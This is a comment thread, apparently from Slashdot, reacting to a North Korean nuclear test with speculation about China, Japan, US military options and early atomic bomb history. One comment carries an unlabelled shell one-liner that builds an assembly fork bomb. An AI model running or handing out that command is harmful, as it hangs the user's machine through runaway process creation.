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North Korea Conducts Nuclear Test
viyh writes "North Korea conducted a nuclear test on Monday, South Korea's Yonhap news agency quoted a ruling party official as saying.
A magnitude 4.7 earthquake was recorded by the USGS in North Korea.
South Korean President Lee Myung-bak has called an emergency meeting of cabinet ministers over the test, Yonhap said."
Weapons that can destroy the planet are never a good thing so long as there's so much tension in the world.
The musings of just another geek and his junk.
It'll be interesting to see if this latest provocation makes Japan finally go nuclear.
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News not yet confirmed by THE OFFICIAL NEWS SOURCE.
See? Absolutely nothing new happened since Kim Jong Il received a gift from UK figure.
Mit der Dummheit kämpfen Götter selbst vergebens
Does this effect levels of radioactivity in air of S. Korea (or Japan, China) ?
839*929
It's not good, but all this means is North Korea can't be invaded, and who would want to? Altruism is not a good enough reason to sacrifice troops in a country that would be prepared to use Nukes against an invader. The leadership is weak and in a time of turmoil. I'm fairly certain that Kim Yong-il suffered a stroke recently so he can't lead the country there forever so someone has to replace him. They will inherit a country with weapons, but no bread. How sad for the North Korean people.
So while the leadership of North Korea is at it's weakest, it beats it's chest with it's weapons forcing improving their position of bargaining. This can be summarised with the wisdom of Sun Tzu: "the clever combatant imposes his will on the enemy, but does not allow the enemy's will to be imposed on him." and the North Korean leadership is doing the opposite of "masking strength with weakness is to be effected by tactical dispositions."
They are masking weakness with strength.
My ism, it's full of beliefs.
Yes, but it took extremely advanced knowledge of nuclear weapons with the experience and data from many, many actual detonations fed into simulations to produce a nuclear weapon this small. It is MUCH easier to built a WW2 era 20 kiloton bomb that has to be delivered by truck, missile, or plane than a 1 kiloton shell or "suitcase." I would think that a rogue state would actually use a limited supply of radioactive material to actually produce conventional munitions that spread far more deadly radioactive material around by simple explosion than try to build a suitcase nuke. A far more dangerous situation would be a group simply purchasing a nuclear weapon from a failed Soviet republic.
Actually LOL it's funny you mention that. My mother in law is from South America and down there a whole bunch of people believe Osama Bin Ladin and George Bush staged the whole 9/11 thing and are friends. I mean I am not a fan of Bush, I think he's a complete idiot who can't even do Arithmetic (aka tax less spend more). But even I don't believe that, I don't think he's smart enough.
Also I think the guy is delusional and belongs in a mental institution. He seemed to think he was Jesus's second coming or something and with the hand of god he would smite all those violent Islamic people who dare occupy the holy land, they're all terrorists. But I think he needs to believe his delusions. I don't even think with GWB logic he could justify planning 9/11.
But anyway it is amusing how bad the sentiment against the whole US is in the rest of the world. Especially South America. They're still a bit pissed off over the whole keeping dictators in power and training their armies to murder/torture people. Ronald Regan the hero of the Republican party here is a mass murderer down there guilty of crimes against humanity. Personally I was just a kid when Regan was in office, all I remember is the guy took a lot of vacations LOL....
Thanks for the interesting post - you sound like you have a keen appreciation of the politics there. So, let me ask you the question I've asked elsewhere:
How does a nuclear armed North Korea benefit China?
All the explanations I can come up with only make short-term sense. I don't think the Koreas' will remain seperate forever (or even for more than 50 years). A unified, nuclear armed Korea is probably not a good thing to have on your doorstep - why encourage it?
I DO think the North Korean government is pretty crazy, and once they get deliverable nuclear weapons, that gives them a big stick to use against anyone, including China! Allowing North Korea to develop nuclear weapons ultimately reduces China's control over them. Why would they do this?
North Korea and China are allies for strategic, historical reasons which are becoming less important. The basic relationship seems to be, "We give you arms, and food when you botch up your agriculture or have a drought -- you cause trouble/distractions for us when we ask". I wouldn't bet a lot on such a relationship enduring many decades.
The fact that North Korea would be a smoking hole within a half-hour doesn't seem to deter them much, but I think China might object to having Guangzhou or Hong Kong removed as well. That's the problem with nukes - their destinations are not hard-coded into them based on the political winds of the day they are done.
And, risking veering off into serious off-topic land: Why do you think Japan's culture is more compatible with the West than any other Asian country? I know it might be a long response...
The odd thing about North Korea is that even without nukes it is offlimits for US military action for three reasons
First most people think the North Korean army would fight if attacked, unlike the Iraqi one. Their equipment is outdated, but they have numbers and determination would most likely kill enough Americans to trigger a Vietnam style withdrawal. I'd guess China would keep them supplied too.
Secondly North Korea has vast amounts of artillery aimed at Seoul, the capital of South Korea. It is theorized that if attacked they would shell Seoul. By the time the artillery had been destroyed by US airpower millions of South Koreans would be dead, and probably thousands of US pilots. The US government would most likely not be able to accept that loss.
Finally it's widely believed that China has told the US that NK is under its protection and that attacking it would move the US and China into an open state of hostility.
Now they do have nukes they could use them on US forces, Japan or South Korea. Actually I think that Japan or the US would probably be able to shoot down NK missiles or destroy them on the ground as they are liquid fueled and thus take time to set up. Also there are questions of whether they would be able to build a warhead that would fit on a missile. So compared to their conventional military and powerful allies, their nukes are not particularly useful.
Of course even a few dummy missile launches at Japan may trigger an extreme overreaction on Japan's part. Their current pacifism could be revoked quite quickly and while pointedly non nuclear it is widely believed that they could build a large nuclear arsenal very quickly if threatened. China would no doubt react by building up its own military. So an attack on NK would most likely leave South East Asia looking like a much more threatening place.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Your premise that the USA has historically been "buddies" with Japan is entirely wrong. The USA sailed in Japan with a fleet of modern warships in the 1850s and forced Japan to essentially surrender without so much as half a fight.
"The black ships" was one of the most humiliating episodes in Japanese history and there are plenty of Japanese that haven't forgotten it.
The deal is, historically, if anything, the USA has had a much better relationship with China. We accepted numerous Chinese immigrants and we went to war with Japan because of Japanese atrocities against China.
The thing is, I really don't see, long term, why the USA should set itself up against China. Keep them out of the pacific, yes, but if China wants to play hard with Korea or Japan, then, is it really our problem?
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Hiroshima sized yield doesn't mean Hiroshima sized device or Hiroshima technology device. (Note that the Little Boy bomb is reported to be about 13-18 Kiloton while the Nagasaki bomb - a plutonium pinch device - only 21.)
The Hiroshima bomb was dropped without testing because it was such a near-sure-thing. The Nagasaki bomb had a prototype tested at Trinity because it was it was more iffy: Any screwup in the explosive focus, the calculations, the isotope mix, the timing of the neutron strobelamp, or more stray neutrons than expected would cause it to perform badly or just spray its material around in a conventional explosion. (They even constructed a bottle to hold the debris in case it failed, to catch the material for another try, though they changed their minds and left the bottle lying near ground zero.)
North Korea's first test apparently didn't work anywhere near as well as intended. They have a parallel missile program for a delivery system - developed on a very limted budget compared to that of WW II USA. And in sixty years a lot of stuff about what works has leaked out, while the Manhattan project had to roll their own from scratch.
So I'd bet that the bomb they tested is a prototype of one that would work as a payload on the missiles they're testing, not a new "Little Boy" - or even "Fat Man".
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Of course you can't ignore a nuclear device exploding but just imagine if you could... Kim Jong guy like any troll would be extremely pissed.
Do they really dream about using it against South Korea? I mean, a country in walking distance is not good for nuking.
It is more like a crybaby looking for attention with nukes. I know it sounds crazy but what they did is no less. Also, I'd be very careful underground nuke testing if my country is small and has faults around.
get swatted like a bug?
Its really too bad that there will be no unified (peacful) Korea, but NK's stupidity has just about guaranteed that will not happen.
China has a lot of reasons for wanting to keep NK from destabilizing the region and as an up and coming superpower, they may feel the need to take action. I know I would NOT support sending my fellow Americans to NK's aid if China invaded (in fact, I hope we would side with/assist China if such action occurred to help us learn to cooperate closely in the future.)